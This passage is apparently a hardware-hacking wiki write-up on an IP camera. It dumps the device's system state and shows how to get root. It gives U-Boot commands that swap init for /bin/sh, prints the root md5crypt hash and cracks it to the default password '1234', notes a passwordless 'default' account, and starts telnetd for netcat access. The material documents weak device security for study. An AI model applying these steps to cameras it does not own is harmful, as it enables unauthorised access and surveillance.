Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock1 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock2: 7 MB, 7340032 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock2 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock3: 4 MB, 4194304 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock3 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock4: 1 MB, 1048576 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock4 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock5: 0 MB, 262144 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /proc/mounts&lt;br /&gt;
rootfs / rootfs rw 0 0&lt;br /&gt;
/dev/root / cramfs ro,relatime 0 0&lt;br /&gt;
none /proc proc rw,relatime 0 0&lt;br /&gt;
none /sys sysfs rw,relatime 0 0&lt;br /&gt;
none /proc/bus/usb usbfs rw,relatime 0 0&lt;br /&gt;
dev /dev tmpfs rw,relatime,size=512k,mode=755 0 0&lt;br /&gt;
devpts /dev/pts devpts rw,relatime,mode=600 0 0&lt;br /&gt;
/dev/mtdblock4 /etc jffs2 rw,relatime 0 0&lt;br /&gt;
tmpfs /tmp tmpfs rw,relatime,size=40228k 0 0&lt;br /&gt;
lock /var/lock tmpfs rw,relatime 0 0&lt;br /&gt;
log /var/log tmpfs rw,relatime 0 0&lt;br /&gt;
run /var/run tmpfs rw,relatime 0 0&lt;br /&gt;
spool /var/spool tmpfs rw,relatime 0 0&lt;br /&gt;
tmp /var/tmp tmpfs rw,relatime 0 0&lt;br /&gt;
media /media tmpfs rw,relatime 0 0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Running processes (&amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;top&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;  PID USER       VSZ STAT COMMAND&lt;br /&gt;
  PID USER       VSZ STAT COMMAND&lt;br /&gt;
    1 root      1164 S    init&lt;br /&gt;
    2 root         0 SW   [kthreadd]&lt;br /&gt;
    3 root         0 SW   [ksoftirqd/0]&lt;br /&gt;
    4 root         0 SW   [events/0]&lt;br /&gt;
    5 root         0 SW   [khelper]&lt;br /&gt;
    8 root         0 SW   [async/mgr]&lt;br /&gt;
  183 root         0 SW   [sync_supers]&lt;br /&gt;
  185 root         0 SW   [bdi-default]&lt;br /&gt;
  187 root         0 SW   [kblockd/0]&lt;br /&gt;
  197 root         0 SW   [khubd]&lt;br /&gt;
  200 root         0 SW   [kseriod]&lt;br /&gt;
  205 root         0 SW   [kmmcd]&lt;br /&gt;
  215 root         0 SW   [cfg80211]&lt;br /&gt;
  236 root         0 SW   [rpciod/0]&lt;br /&gt;
  243 root         0 SW   [khungtaskd]&lt;br /&gt;
  244 root         0 SW   [kswapd0]&lt;br /&gt;
  290 root         0 SW   [aio/0]&lt;br /&gt;
  297 root         0 SW   [nfsiod]&lt;br /&gt;
  306 root         0 SW   [crypto/0]&lt;br /&gt;
  375 root         0 SW   [mtdblock0]&lt;br /&gt;
  380 root         0 SW   [mtdblock1]&lt;br /&gt;
  385 root         0 SW   [mtdblock2]&lt;br /&gt;
  390 root         0 SW   [mtdblock3]&lt;br /&gt;
  395 root         0 SW   [mtdblock4]&lt;br /&gt;
  400 root         0 SW   [mtdblock5]&lt;br /&gt;
  405 root         0 SW   [snx-spi.0]&lt;br /&gt;
  418 root         0 SW   [zd1211rw]&lt;br /&gt;
  467 root         0 SW   [usbhid_resumer]&lt;br /&gt;
  501 root         0 SWN  [jffs2_gcd_mtd4]&lt;br /&gt;
  561 root         0 SW   [isp]&lt;br /&gt;
  564 root         0 SW   [flush-31:1]&lt;br /&gt;
  591 root         0 SW   [iscan_sysioc]&lt;br /&gt;
  592 root         0 SW   [dhd_sysioc]&lt;br /&gt;
  594 root         0 SW   [usb-thread]&lt;br /&gt;
  601 root      9964 S    /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  603 root      1160 S    -sh&lt;br /&gt;
  604 root      1152 S    /sbin/syslogd -n -m 0&lt;br /&gt;
  605 root      1148 S    /sbin/klogd -n&lt;br /&gt;
  606 root     58716 S    /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  608 root      2728 S    /usr/bin/test_UP/test_UP&lt;br /&gt;
  670 root      2608 S    wpa_supplicant -Dwext -iwlan0 -c/tmp/wpa_supplicant.&lt;br /&gt;
  680 root      1156 S    udhcpc -i wlan0 -p /var/run/udhcpc.pid -b&lt;br /&gt;
  685 root      1152 R    ps&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mem: 30252K used, 9976K free, 0K shrd, 4816K buff, 9624K cached&lt;br /&gt;
CPU: 16.6% usr  0.0% sys  0.0% nic 83.3% idle  0.0% io  0.0% irq  0.0% sirq&lt;br /&gt;
Load average: 1.71 0.46 0.16 1/73 683&lt;br /&gt;
  PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND&lt;br /&gt;
  606   601 root     S    58716145.5  9.9 /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  683   603 root     R     1156  2.8  6.6 top&lt;br /&gt;
  601     1 root     S     9964 24.6  0.0 /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  608     1 root     S     2728  6.7  0.0 /usr/bin/test_UP/test_UP&lt;br /&gt;
  670     1 root     S     2608  6.4  0.0 wpa_supplicant -Dwext -iwlan0 -c/tmp/w&lt;br /&gt;
    1     0 root     S     1164  2.8  0.0 init&lt;br /&gt;
  603     1 root     S     1160  2.8  0.0 -sh&lt;br /&gt;
  680     1 root     S     1156  2.8  0.0 udhcpc -i wlan0 -p /var/run/udhcpc.pid&lt;br /&gt;
  604     1 root     S     1152  2.8  0.0 /sbin/syslogd -n -m 0&lt;br /&gt;
  605     1 root     S     1148  2.8  0.0 /sbin/klogd -n&lt;br /&gt;
  385     2 root     SW       0  0.0  0.0 [mtdblock2]&lt;br /&gt;
  380     2 root     SW       0  0.0  0.0 [mtdblock1]&lt;br /&gt;
  501     2 root     SWN      0  0.0  0.0 [jffs2_gcd_mtd4]&lt;br /&gt;
  197     2 root     SW       0  0.0  0.0 [khubd]&lt;br /&gt;
  561     2 root     SW       0  0.0  0.0 [isp]&lt;br /&gt;
    5     2 root     SW       0  0.0  0.0 [khelper]&lt;br /&gt;
  205     2 root     SW       0  0.0  0.0 [kmmcd]&lt;br /&gt;
  594     2 root     SW       0  0.0  0.0 [usb-thread]&lt;br /&gt;
    8     2 root     SW       0  0.0  0.0 [async/mgr]&lt;br /&gt;
  183     2 root     SW       0  0.0  0.0 [sync_supers]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Interface Configuration (&amp;lt;code&amp;gt;ifconfig&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;wlan0     Link encap:Ethernet  HWaddr 00:4D:32:09:B7:2E&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Wireless Intercafe Configuration (&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
lo        no wireless extensions.&lt;br /&gt;
eth0      no wireless extensions.&lt;br /&gt;
tunl0     no wireless extensions.&lt;br /&gt;
gre0      no wireless extensions.&lt;br /&gt;
sit0      no wireless extensions.&lt;br /&gt;
ip6tnl0   no wireless extensions.&lt;br /&gt;
&lt;br /&gt;
wlan0     IEEE 802.11  ESSID:&amp;quot;&amp;quot;  Nickname:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:72 Mb/s   Tx-Power:32 dBm&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Open Ports (&amp;lt;code&amp;gt;cat /proc/net/tcp&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;  sl  local_address rem_address   st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt uid timeout inode&lt;br /&gt;
   0: 00000000:5722 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 186 1 c3698000 300 0 0 2 -1&lt;br /&gt;
   1: 00000000:5749 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 382 1 c3698440 300 0 0 2 -1&lt;br /&gt;
   2: 00000000:2712 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 386 1 c3698880 300 0 0 2 -1&lt;br /&gt;
&lt;br /&gt;
/* Resolved&lt;br /&gt;
  sl  local_address rem_address&lt;br /&gt;
   0: 0.0.0.0:22306 0.0.0.0&lt;br /&gt;
   1: 0.0.0.0:22345 0.0.0.0&lt;br /&gt;
   2: 0.0.0.0:10002 0.0.0.0*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Authentication Bypass&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Eventhough the root password (&amp;lt;code&amp;gt;1234&amp;lt;/code&amp;gt;) could easily be guessed (what I failed to achieve), the authentication could also be bypassed by modifing the &amp;lt;code&amp;gt;cmdline&amp;lt;/code&amp;gt; parameters passed to the Linux Kernel when booting. Here, the &amp;lt;code&amp;gt;init&amp;lt;/code&amp;gt; parameter will be changed to &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; to bypass the initialisation process and starts a shell with UID 0 instead. To do this, access the bootloader and execute the following commands:&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show the bootargs&lt;br /&gt;
printenv&lt;br /&gt;
# bootargs=console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
# Change the init parameter&lt;br /&gt;
setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
# Persists Configuration&lt;br /&gt;
saveenv&lt;br /&gt;
# Boot the default image&lt;br /&gt;
boot&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Root Password Acquisition&amp;lt;/h3&amp;gt;&lt;br /&gt;
This section is based on the previous one. After booting the devices with the modified &amp;lt;code&amp;gt;cmdline&amp;lt;/code&amp;gt; passed to the Linux Kernel, one is presented with a shell. Not all devices have been initialized neither all filesystems have been mounted, including the etc directory. Parts of the &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt; code can be manually executed to set the system up as far as needed at this step. In order to grab the root digest, none of this is necessary, since the default config is stored in &amp;lt;code&amp;gt;/root/etc_default&amp;lt;/code&amp;gt;, which &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt; would copy to the &amp;lt;code&amp;gt;/etc&amp;lt;/code&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;echo &amp;quot;Create device file&amp;quot;&lt;br /&gt;
/bin/mount -t proc none /proc&lt;br /&gt;
/bin/mount -t sysfs none /sys&lt;br /&gt;
/bin/mount -t usbfs none /proc/bus/usb&lt;br /&gt;
/bin/mount -t tmpfs -o size=512k,mode=0755 dev /dev&lt;br /&gt;
/bin/mkdir /dev/pts&lt;br /&gt;
/bin/mkdir /dev/shm&lt;br /&gt;
/bin/mount -t devpts devpts  /dev/pts&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
&lt;br /&gt;
#add for mount /dev/mtdblock4&lt;br /&gt;
/bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
if [ $? -ne 0 ]; then&lt;br /&gt;
        echo &amp;quot;Clean up the old data in the &#039;etc&#039; partition.&amp;quot;&lt;br /&gt;
        /usr/sbin/flash_eraseall -j -q /dev/mtd4&lt;br /&gt;
        /bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -x /etc/init.d/rcS ]; then&lt;br /&gt;
        echo &amp;quot;The system run for the first time.&amp;quot;&lt;br /&gt;
        echo &amp;quot;Please wait for initialization...&amp;quot;&lt;br /&gt;
        /bin/rm -rf /etc/*&lt;br /&gt;
        cp -a /root/etc_default/* /etc&lt;br /&gt;
        /bin/fsync&lt;br /&gt;
fi&lt;br /&gt;
#Create mdev&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
#add nvram inode&lt;br /&gt;
/sbin/modprobe snx_crypto&lt;br /&gt;
/sbin/modprobe snx_nvram&lt;br /&gt;
/bin/mknod /dev/nvram c 251 0&lt;br /&gt;
exec /sbin/init&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;shadow&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; file is located under &amp;lt;code&amp;gt;/root/etc_default/&amp;lt;/code&amp;gt;. Note that there is another user called &amp;lt;code&amp;gt;default&amp;lt;/code&amp;gt;, who requires no password to login. The root password can be cracked using john the ripper on another PC as seen below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# unshadow passwd shadow &lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:*:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:*:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:*:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:*:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default::1000:1000:Default non-root user:/home/default:/bin/sh&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# john hash.txt Wordlists/Tiny/10_million_password_list_top_100000.txt&lt;br /&gt;
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3])&lt;br /&gt;
1234             (root)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Once priviledged access has been acquired, the changes made to the U-Boot booloader should be reverted, to make the device start as intended.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
saveenv&lt;br /&gt;
boot&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;From this point on, it is possible to login to the root shell of the device using the acquired password. But I strongly suggest, to execute the following commands before working on the shell. The &amp;lt;code&amp;gt;/sbin/init&amp;lt;/code&amp;gt; script starts two instances of the &amp;lt;code&amp;gt;/root/etc_default/iSC3S/iSC3S&amp;lt;/code&amp;gt; executable, which prints to stdout by default, which is VERY annoying. If we kill the process, some watchdog triggers the device to automatically restart, instead we kill both instances and manually restart the executable in the background, and redirect its output to the nirvana. Note that if you login before the device has fully booted up, the PID may be different than in the code below.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;kill -KILL 601 606 &amp;amp;&amp;amp; exec /root/etc_default/iSC3S/iSC3S &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;WPA Client Configuration&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;At this point the the device is still in default factory settings and I am going to show how to manually add the device to the network, to do more fun stuff with it. Simply execute the following commands step by step or read the [https://linux.die.net/man/8/wpa_cli man pages].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Connect to WLAN&lt;br /&gt;
wpa_cli&lt;br /&gt;
scan&lt;br /&gt;
scan_results&lt;br /&gt;
add_network&lt;br /&gt;
set_network 0 ssid &amp;quot;$SSID&amp;quot;&lt;br /&gt;
set_network 0 psk &amp;quot;$PSK&amp;quot;&lt;br /&gt;
set_network 0 scan_ssid 1&lt;br /&gt;
enable_network 0&lt;br /&gt;
# save_config&lt;br /&gt;
select_network 0&lt;br /&gt;
quit&lt;br /&gt;
&lt;br /&gt;
# Test Satus&lt;br /&gt;
wpa_cli status&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Start Telnet Server&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The command set with this firmware is very extensive, providing many usefull commands and in addition a writable filesystem. Although the legitimacy of their existence is questionable, there is a telnet daemon among them, which is pretty use for us to get rid for the need of a serial connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Start the Telnet daemon&lt;br /&gt;
telnetd &amp;amp;&lt;br /&gt;
&lt;br /&gt;
# Analyst:&lt;br /&gt;
# Telnet client wont work for some reason...&lt;br /&gt;
telnet $ISC5_IP 23&lt;br /&gt;
# Netcat works fine&lt;br /&gt;
nc $ISC5_IP 23&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Available Command Set&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;[                  ftpget             mkfifo             start-stop-daemon&lt;br /&gt;
[[                 ftpput             mkfs.ext2          strings&lt;br /&gt;
addgroup           fwburnonly         mkfs.reiser        stty&lt;br /&gt;
adduser            fwcnew             mkfs.vfat          su&lt;br /&gt;
arping             gdbserver          mknod              sulogin&lt;br /&gt;
ash                getopt             mktemp             swapoff&lt;br /&gt;
basename           getty              modprobe           swapon&lt;br /&gt;
bcmdl              gfwver             more               sync&lt;br /&gt;
busybox            gpio3_blink        mount              syslogd&lt;br /&gt;
cat                gpio_init          mount.exfat        tail&lt;br /&gt;
chgrp              gpio_led           mount.exfat-fuse   tar&lt;br /&gt;
chmod              gpio_ms1           mt                 tee&lt;br /&gt;
chown              grep               mv                 telnet&lt;br /&gt;
chroot             groups             netstat            telnetd&lt;br /&gt;
clear              halt               nice               test&lt;br /&gt;
cp                 hd                 nslookup           test_UP/&lt;br /&gt;
crond              head               ntfs-3g            time&lt;br /&gt;
crontab            hexdump            ntpd               top&lt;br /&gt;
cut                hostid             nvram_get          touch&lt;br /&gt;
date               hostname           nvram_init         tr&lt;br /&gt;
dc                 hwclock            nvram_set          true&lt;br /&gt;
dd                 id                 nvram_utility      tty&lt;br /&gt;
delgroup           ifconfig           pars_diff          ubimkvol&lt;br /&gt;
deluser            ifdown             passwd             ubirmvol&lt;br /&gt;
depmod             ifup               pidof              ubirsvol&lt;br /&gt;
df                 inetd              ping               ubiupdatevol&lt;br /&gt;
dhcprelay          init               ping6              udhcpc&lt;br /&gt;
dhd                insmod             poweroff           udhcpd&lt;br /&gt;
dhd_helper         install            printenv           umount&lt;br /&gt;
diff               ipcs               printf             uname&lt;br /&gt;
dirname            iwconfig           ps                 uniq&lt;br /&gt;
dmesg              iwlist             pstree             uptime&lt;br /&gt;
dnsd               iwpriv             pwd                users&lt;br /&gt;
dnsdomainname      kill               pwdx               usleep&lt;br /&gt;
du                 killall            readFile           uudecode&lt;br /&gt;
dumpleases         klogd              reboot             uuencode&lt;br /&gt;
echo               ln                 rm                 vi&lt;br /&gt;
egrep              logger             rmdir              vlock&lt;br /&gt;
env                login              rmmod              wc&lt;br /&gt;
expr               logname            route              wget&lt;br /&gt;
false              losetup            run-parts          which&lt;br /&gt;
fdformat           ls                 sed                who&lt;br /&gt;
fdisk              lsblk              setserial          whoami&lt;br /&gt;
fgrep              lsmod              sh                 whois&lt;br /&gt;
find               lsof               sha1sum            wl&lt;br /&gt;
flash_erase        md5sum             sha3sum            wpa_cli&lt;br /&gt;
flash_eraseall     mdev               singleBoadTest/    wpa_supplicant&lt;br /&gt;
free               mkdir              sleep              xargs&lt;br /&gt;
fstrim             mkdosfs            snx_pwm_period     yes&lt;br /&gt;
fsync              mke2fs             sort&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Load Data&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;There are some ways to plant data into the device, including copy and pasting to the &amp;lt;code&amp;gt;vi&amp;lt;/code&amp;gt; terminal, using &amp;lt;code&amp;gt;[https://manned.org/ftpget/6964d88c ftpget]&amp;lt;/code&amp;gt; or via &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ftpget -v -u $FTPUSER -p $PASSWORD -P 21 $SERVER_IP $REMOTE_FILE&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Filesystem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# mount&lt;br /&gt;
rootfs on / type rootfs (rw)&lt;br /&gt;
/dev/root on / type cramfs (ro,relatime)&lt;br /&gt;
none on /proc type proc (rw,relatime)&lt;br /&gt;
none on /sys type sysfs (rw,relatime)&lt;br /&gt;
none on /proc/bus/usb type usbfs (rw,relatime)&lt;br /&gt;
dev on /dev type tmpfs (rw,relatime,size=512k,mode=755)&lt;br /&gt;
devpts on /dev/pts type devpts (rw,relatime,mode=600)&lt;br /&gt;
/dev/mtdblock4 on /etc type jffs2 (rw,relatime)&lt;br /&gt;
tmpfs on /tmp type tmpfs (rw,relatime,size=40228k)&lt;br /&gt;
lock on /var/lock type tmpfs (rw,relatime)&lt;br /&gt;
log on /var/log type tmpfs (rw,relatime)&lt;br /&gt;
run on /var/run type tmpfs (rw,relatime)&lt;br /&gt;
spool on /var/spool type tmpfs (rw,relatime)&lt;br /&gt;
tmp on /var/tmp type tmpfs (rw,relatime)&lt;br /&gt;
media on /media type tmpfs (rw,relatime)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
